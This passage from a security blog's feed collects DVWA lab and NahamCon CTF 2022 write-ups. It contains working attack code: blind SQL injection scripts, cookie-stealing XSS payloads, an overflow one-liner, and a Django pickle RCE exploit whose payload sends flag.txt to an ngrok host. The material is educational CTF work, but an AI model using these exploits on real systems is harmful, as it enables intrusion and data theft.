</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Cookie&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;id=1&#39;+and+length(version())%3d</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">%23; security=high; PHPSESSID=to84ds41bhba7ub48s10a8qim0&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="s1">&#39;User ID exists in the database&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;length = </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">length</span> <span class="o">=</span> <span class="n">i</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="cl"><span class="n">j</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">30</span><span class="p">,</span> <span class="mi">126</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Cookie&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;id=1&#39;+and+ascii(substring(version(),</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">,</span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s2">))%3d</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="s2">%23; security=high; PHPSESSID=to84ds41bhba7ub48s10a8qim0&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="s1">&#39;User ID exists in the database&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">length</span> <span class="o">=</span> <span class="m">24</span>
</span></span><span class="line"><span class="cl">10.1.26-MariaDB-0+deb9u1
</span></span><span class="line"><span class="cl">Process finished with <span class="nb">exit</span> code <span class="m">0</span>
</span></span></code></pre></div><p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Stored Cross Site Scripting (XSS) - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/stored-cross-site-scripting-xss/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/stored-cross-site-scripting-xss/</guid>
      <description>Trigger an alert pop-up with cookie values using Stored XSS.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>we have name and message field let&rsquo;s put our payload in message:</p>
<p>payload=<code>&lt;img src=x onerror=&quot;alert(document.cookie)&quot;&gt;</code></p>
<p>and it&rsquo;s working it will trigger an alert pop up with cookie value.</p>
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>This time we put our paylod in name field we can easily bypass the maximum character limit by changing the maxlength attribute of input from DevTools.
we change the case of our payload:</p>
<p>payload=<code>&lt;sCrIpT&gt;alert(document.cookie);&lt;/ScRiPt&gt;</code></p>
<p>It will successfully trigger alert pop up with cookie value.</p>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>this time script tag is entirely blocked so we use different payload. method same as we used in medium.</p>
<p>payload=<code>&lt;ImG src=x onerror=&quot;alert(document.cookie)&quot;&gt;</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Weak Session IDs - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/weak-session-ids/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/weak-session-ids/</guid>
      <description>Identify the cookie session ID pattern.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>cookie value is easily predictable it&rsquo;s initially 0 and increment by 1 on regenerate.</p>
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>cookie value is set using time(); method.</p>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>It&rsquo;s is similar to low level but it is doing md5 hash of that additionally.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>NahamCon CTF 2022</title>
      <link>https://aftabsama.com/writeups/ctf/nahamcon-2022/</link>
      <pubDate>Thu, 28 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/nahamcon-2022/</guid>
      <description>Write-ups for the NahamCon CTF 2022 challenges.</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>April 28th, 12:00 PM PST - April 30th, 12:00 PM PST 48-Hour Competition</p></blockquote>
<p><a href="https://ctf.nahamcon.com/">https://ctf.nahamcon.com/</a></p>
<h3 id="prisoner">Prisoner:</h3>
<p><em>Have you ever broken out of jail ? Maybe it is easier than you think !</em></p>
<p>After starting the instance we are given ssh creds:</p>
<p>Password is <em>&ldquo;userpass&rdquo;</em></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">ssh -p 32233 user@challenge.nahamcon.com
</span></span></code></pre></div><p>It turns out that the shell dropped us into a running python terminal. This can exit the python interpreter with the CTRL + D keys.
then,we run some basic python to attain command execution and get the flag</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/nahamcon-2022/md/220685652-3a7304a1-e937-46e2-93b8-f581ee5e861b.webp"></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{c31e05a24493a202fad0d1a827103642}
</span></span></code></pre></div><h3 id="flagcat">Flagcat:</h3>
<p><em>Do you know what the cat command does in the Linux command-line ?</em></p>
<p>_Attachment: <code>flagcat</code></p>
<p><code>cat flagcat</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{ab3cbaf45def9056dbfad706d597fb53}
</span></span></code></pre></div><h3 id="quirky">Quirky:</h3>
<p><em>This file is seems to have some strange pattern&hellip;</em></p>
<p><em>Attachment: <code>Quirky</code></em></p>
<hr>
<p>given file is hex of image raw data we can use <a href="https://gchq.github.io/CyberChef/">CyberChef</a> to get the image
it will give us QR code after parsing the QRcode it gives the flag</p>
<p>filters to use in CyberChef:</p>
<ul>
<li>From Hex</li>
<li>Render Image</li>
<li>Parse QR code</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{b7e2a32f5ae629dcfb1ac210d1f0c032}
</span></span></code></pre></div><h3 id="exit-vim">Exit Vim:</h3>
<p><em>Ah yes, a bad joke as old as time&hellip; can you exit vim?</em></p>
<p>Password is &ldquo;userpass&rdquo;</p>
<p><code>ssh -p 32686 user@challenge.nahamcon.com</code></p>
<p>we are inside vim just type:</p>
<p><code>:qa!</code></p>
<p>to exit vim</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{ccf443b43322be5659150eac8bb2a18c}
</span></span></code></pre></div><h3 id="crash-override">Crash Override:</h3>
<p><em>Remember, hacking is more than just a crime. It&rsquo;s a survival trait.</em></p>
<p>Connect with:</p>
<p><code>nc challenge.nahamcon.com 30443</code></p>
<p>Attachment: <code>Crash Override</code></p>
<p>looking at c code we know the buffer size=2048 so after finding padding=8 we can give any input &gt; 2056 and it will give flag</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">python -c &#34;print(&#39;a&#39;* 2056)&#34; | nc challenge.nahamcon.com 32216
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{de8b6655b538a0bf567b79a14f2669f6}
</span></span></code></pre></div><h3 id="read-the-rules">Read The Rules:</h3>
<p><em>Please follow the rules for this CTF!</em></p>
<p>Connect here: <a href="https://ctf.nahamcon.com/rules">Read The Rules</a></p>
<p>flag is in source code</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="c">&lt;!-- Thank you for reading the rules! Your flag is: --&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c">&lt;!-- flag{90bc54705794a62015369fd8e86e557b} --&gt;</span>
</span></span></code></pre></div><p><code>flag{90bc54705794a62015369fd8e86e557b}</code></p>
<h3 id="wizard">Wizard:</h3>
<p><em>You have stumbled upon a wizard on your path to the flag. You must answer his questions!</em></p>
<p>Connect with:</p>
<p><code>nc challenge.nahamcon.com 32201</code></p>
<p>it gives us the questions and we have to give input the answers</p>
<p>First Question: What is the ASCII plaintext corresponding to this binary string?</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011
</span></span></code></pre></div><p>From Binary: &ldquo;Zeros &amp; Ones&rdquo;</p>
<p>Second Question: What is the ASCII plaintext corresponding to this hex string?</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878
</span></span></code></pre></div><p>From Hex: &ldquo;Oh wowww! Base 10 is cool and all but Hexxxx&rdquo;</p>
<p>Third Question: What is the ASCII plaintext corresponding to this octal string?
(HINT: octal -&gt; int -&gt; hex -&gt; chars)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164
</span></span></code></pre></div><ul>
<li>Octal to HexaDecimal</li>
<li>From Hex</li>
</ul>
<p>&ldquo;We can represent numbers in any base we want&rdquo;</p>
<p>Fourth Question: What is the ACII representation of this integer?
(HINT: int -&gt; hex -&gt; chars)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">8889185069805239596091046045687553579520816794635237831028832039457
</span></span></code></pre></div><ul>
<li>Desimal to HexaDecimal</li>
<li>From Hex</li>
</ul>
<p>&ldquo;This is one big &lsquo;ol integer!&rdquo;</p>
<p>Fifth Question: What is the ASCII plaintext of this Base64 string?</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik=
</span></span></code></pre></div><p>From Base64: &ldquo;Bases on bases on bases on bases :)&rdquo;</p>
<p>Last Question: What is the Big-Endian representation of this Little-Endian hex string?</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">293a2065636e657265666669642065687420776f6e6b206f7420646f6f672073277449
</span></span></code></pre></div><p><a href="https://www.save-editor.com/tools/wse_hex.html">LITTLE to BIG ENDIAN</a></p>
<ul>
<li>From Hex
&ldquo;It&rsquo;s good to know the difference :)&rdquo;</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{c2ed35aba037cd93381b298caa2720ee}
</span></span></code></pre></div><h3 id="technical-support">Technical Support:</h3>
<p><em>Want to join the party of GIFs, memes and emoji spam? Or just want to ask a question for technical support regarding any challenges in the CTF? Join us in the Discord &ndash; you might just find a flag in the #ctf-help channel!</em></p>
<p>flag is in description of #ctf-chat channel</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{081fef2f11f3eec6059e3da9117ad3f0}
</span></span></code></pre></div><h3 id="personnel">Personnel:</h3>
<p>A challenge that was never discovered during the 2021 Constellations mission&hellip; now ungated :)</p>
<p>Attachment: <code>app.py</code></p>
<p>looking at app.py it will remove first character from name parameter <code>name = name[1:]</code> and put it in regex</p>
<p><code>results = re.findall(r&quot;[A-Z][a-z]*?&quot; + name + r&quot;[a-z]*?\n&quot;, users, setting)</code>
in regex <code>.*</code> means everything and we can escape other conditions with use of or operator &ldquo;|&rdquo;.</p>
<p>payload: <code>A|.*|</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{f0e659b45b507d8633065bbd2832c627}
</span></span></code></pre></div><h3 id="flaskmetal-alchemist">Flaskmetal Alchemist:</h3>
<p>Edward has decided to get into web development, and he built this awesome application that lets you search for any metal you want. Alphonse has some reservations though, so he wants you to check it out and make sure it&rsquo;s legit.</p>
<p>Attachment: <code>fma.zip</code></p>
<p>looking at app.py we can say that it maybe valnurable to orderby blind sqli</p>
<p>payload=</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">(CASE WHEN (SELECT (SUBTR(flag, 1,1)) from flag) = &#39;f&#39; THEN name ELSE atomic_number END)--
</span></span></code></pre></div><p>it will sort by name if true and number if false
here is python script to brute force flag:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"> <span class="kn">import</span> <span class="nn">string</span>
</span></span><span class="line"><span class="cl">    <span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
</span></span><span class="line"><span class="cl">    <span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://challenge.nahamcon.com:31631/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s1">&#39;search&#39;</span><span class="p">:</span> <span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;order&#39;</span><span class="p">:</span> <span class="s2">&#34;(CASE WHEN (SELECT (SUBSTR(flag, 1, 1)) from flag ) = &#39;f&#39; THEN name ELSE atomic_number END)--&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># x1 = BeautifulSoup(x.text, features=&#39;lxml&#39;).td.contents[0]</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># print(x1)</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span> <span class="o">=</span> <span class="s1">&#39;flag{&#39;</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_lowercase</span> <span class="o">+</span> <span class="s1">&#39;_&#39;</span> <span class="o">+</span> <span class="s1">&#39;}&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># print(s, type(s))</span>
</span></span><span class="line"><span class="cl">    <span class="n">flag</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">h1</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">s</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">h1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">continue</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s1">&#39;search&#39;</span><span class="p">:</span> <span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;order&#39;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;(CASE WHEN (SELECT (SUBSTR(flag, </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">, 1)) from flag ) = &#39;</span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s2">&#39; THEN name ELSE atomic_number END)--&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># print(f&#39;checking {data.values()}&#39;)</span>
</span></span><span class="line"><span class="cl">            <span class="n">x</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="n">features</span><span class="o">=</span><span class="s1">&#39;lxml&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">td</span><span class="o">.</span><span class="n">contents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="s1">&#39;89&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">flag</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">flag</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s1">&#39;}&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{order_by_blind}
</span></span></code></pre></div><h3 id="poller">Poller:</h3>
<p><em>Have your say! Poller is the place where all the important infosec questions are asked.</em></p>
<p>there is a github link in cource code: <a href="https://github.com/congon4tor/poller">https://github.com/congon4tor/poller</a></p>
<p>from looking at commit we know this is vulnerable to django PickleSerializer RCE and we also
found secret_key in previous commits there is also one fake key</p>
<p>SECRET_KEY = <code>77m6p#v&amp;(wk_s2+n5na-bqe!m)^zu)9typ#0c&amp;@qd%8o6!</code></p>
<p>we can get the revese shell here but i don&rsquo;t have vps so we go the easy way we know the file name is flag.txt
first i created local server with python : <code>python -m http.server 80</code></p>
<p>and expose it to internet with ngrok : <code>ngrok http 80</code></p>
<p>now we craft our payload in a way that it will read file content and make a request
to our server with that file content in GET request here is final exploit in python :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">django.conf</span> <span class="kn">import</span> <span class="n">settings</span> <span class="k">as</span> <span class="n">_settings</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">django.core.signing</span> <span class="kn">import</span> <span class="n">loads</span><span class="p">,</span> <span class="n">dumps</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">django.contrib.sessions.serializers</span> <span class="kn">import</span> <span class="n">PickleSerializer</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">urllib.request</span> <span class="kn">import</span> <span class="n">urlopen</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="n">argv</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Rce</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span><span class="n">exec</span><span class="p">,(</span><span class="s2">&#34;import requests;s = &#39;n=1&amp;s=&#39; + open(&#39;flag.txt&#39;).read();requests.get(f&#39;https://669d-49-34-53-197.in.ngrok.io/hello?</span><span class="si">{s}</span><span class="s2">&#39;);import time;time.sleep(13)&#34;</span><span class="p">,))</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># return exec(f&#39;import time;time.sleep(99)&#39;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">SECRET_KEY</span> <span class="o">=</span> <span class="s1">&#39;77m6p#v&amp;(wk_s2+n5na-bqe!m)^zu)9typ#0c&amp;@qd</span><span class="si">%8o</span><span class="s1">6!&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">salt</span> <span class="o">=</span> <span class="s1">&#39;django.contrib.sessions.backends.signed_cookies&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">c_url</span> <span class="o">=</span> <span class="s1">&#39;http://challenge.nahamcon.com:31050/&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">cookie</span> <span class="o">=</span> <span class="s1">&#39;.eJxNjE0KwjAUhHXhUgRPoZuQ5DWa7MS9Zwj5ebFVaaBpl4IHyDKewytaUaGzGZjvYx6L52v2zb1s8lKboa_1kLDTjS95DiWvJ5s17ortCLb-YtpzJC62fddY8lHIjyZyih5vx7-7mhzUJtUlHwRF9JRKxZgNyqFHIYKUY1dMAefAg6IIaLiVogK2d0h3gJXlAQ04VgbyBgKeP5Q:1nlwXO:fHckutyzxCaT3Hb8w56AHnlhu2_4UmbA7rvjo4tKU7s&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">_settings</span><span class="o">.</span><span class="n">configure</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">content</span> <span class="o">=</span> <span class="n">loads</span><span class="p">(</span><span class="n">cookie</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="n">SECRET_KEY</span><span class="p">,</span> <span class="n">serializer</span><span class="o">=</span><span class="n">PickleSerializer</span><span class="p">,</span> <span class="n">salt</span><span class="o">=</span><span class="n">salt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">content</span><span class="p">[</span><span class="s1">&#39;testcookie&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">Rce</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">cookie</span> <span class="o">=</span> <span class="n">dumps</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="n">SECRET_KEY</span><span class="p">,</span> <span class="n">serializer</span><span class="o">=</span><span class="n">PickleSerializer</span><span class="p">,</span> <span class="n">salt</span><span class="o">=</span><span class="n">salt</span><span class="p">,</span> <span class="n">compress</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c_cookie</span> <span class="o">=</span> <span class="p">{</span><span class="s1">&#39;csrftoken&#39;</span><span class="p">:</span> <span class="s1">&#39;LUQMdTVnStctjS2xxyX8wGl9CfUHyPiROjEjjlsVFgd0a3MhpJg9XCEAIxTJupw4&#39;</span><span class="p">,</span> <span class="s1">&#39;sessionid&#39;</span><span class="p">:</span> <span class="n">cookie</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">c_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">c_url</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">c_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">headers</span><span class="p">)</span>
</span></span></code></pre></div><p>we can see our flag in python server we created :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">127.0.0.1 - - <span class="o">[</span>06/May/2022 09:24:27<span class="o">]</span> <span class="s2">&#34;GET /hello?n=1&amp;s=flag%7Ba6b902e045b669148b5e92f771a68d39%7D HTTP/1.1&#34;</span> <span class="m">200</span> -
</span></span><span class="line"><span class="cl">127.0.0.1 - - <span class="o">[</span>06/May/2022 09:24:42<span class="o">]</span> <span class="s2">&#34;GET /hello?n=1&amp;s=flag%7Ba6b902e045b669148b5e92f771a68d39%7D HTTP/1.1&#34;</span> <span class="m">200</span> -
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{a6b902e045b669148b5e92f771a68d39}
</span></span></code></pre></div><p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title></title>
      <link>https://aftabsama.com/resume/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/resume/</guid>
      <description>&lt;h1 style=&#34;text-align: center;&#34;&gt;Aftab Sama&lt;/h1&gt;
&lt;div class=&#34;icon-container&#34;&gt;
    &lt;a href=&#34;mailto:hi@aftabsama.com&#34; title=&#34;Email&#34; class=&#34;icon-link&#34;&gt;
        &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 24 21&#34; fill=&#34;none&#34; stroke=&#34;currentColor&#34; stroke-width=&#34;2&#34; stroke-linecap=&#34;round&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;path d=&#34;M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z&#34;&gt;&lt;/path&gt;&lt;polyline points=&#34;22,6 12,13 2,6&#34;&gt;&lt;/polyline&gt;&lt;/svg&gt;
        &lt;span&gt;hi@aftabsama.com&lt;/span&gt;
    &lt;/a&gt;
    &lt;a href=&#34;https://github.com/Aftab700&#34; title=&#34;GitHub&#34; class=&#34;icon-link&#34;&gt;
        &lt;svg viewBox=&#34;0 0 20 20&#34; version=&#34;1.1&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34; xmlns:xlink=&#34;http://www.w3.org/1999/xlink&#34;&gt;&lt;g id=&#34;Page-1&#34; stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&lt;g id=&#34;Dribbble-Light-Preview&#34; transform=&#34;translate(-140.000000, -7559.000000)&#34; fill=&#34;currentColor&#34;&gt;&lt;g id=&#34;icons&#34; transform=&#34;translate(56.000000, 160.000000)&#34;&gt;&lt;path d=&#34;M94,7399 C99.523,7399 104,7403.59 104,7409.253 C104,7413.782 101.138,7417.624 97.167,7418.981 C96.66,7419.082 96.48,7418.762 96.48,7418.489 C96.48,7418.151 96.492,7417.047 96.492,7415.675 C96.492,7414.719 96.172,7414.095 95.813,7413.777 C98.04,7413.523 100.38,7412.656 100.38,7408.718 C100.38,7407.598 99.992,7406.684 99.35,7405.966 C99.454,7405.707 99.797,7404.664 99.252,7403.252 C99.252,7403.252 98.414,7402.977 96.505,7404.303 C95.706,7404.076 94.85,7403.962 94,7403.958 C93.15,7403.962 92.295,7404.076 91.497,7404.303 C89.586,7402.977 88.746,7403.252 88.746,7403.252 C88.203,7404.664 88.546,7405.707 88.649,7405.966 C88.01,7406.684 87.619,7407.598 87.619,7408.718 C87.619,7412.646 89.954,7413.526 92.175,7413.785 C91.889,7414.041 91.63,7414.493 91.54,7415.156 C90.97,7415.418 89.522,7415.871 88.63,7414.304 C88.63,7414.304 88.101,7413.319 87.097,7413.247 C87.097,7413.247 86.122,7413.234 87.029,7413.87 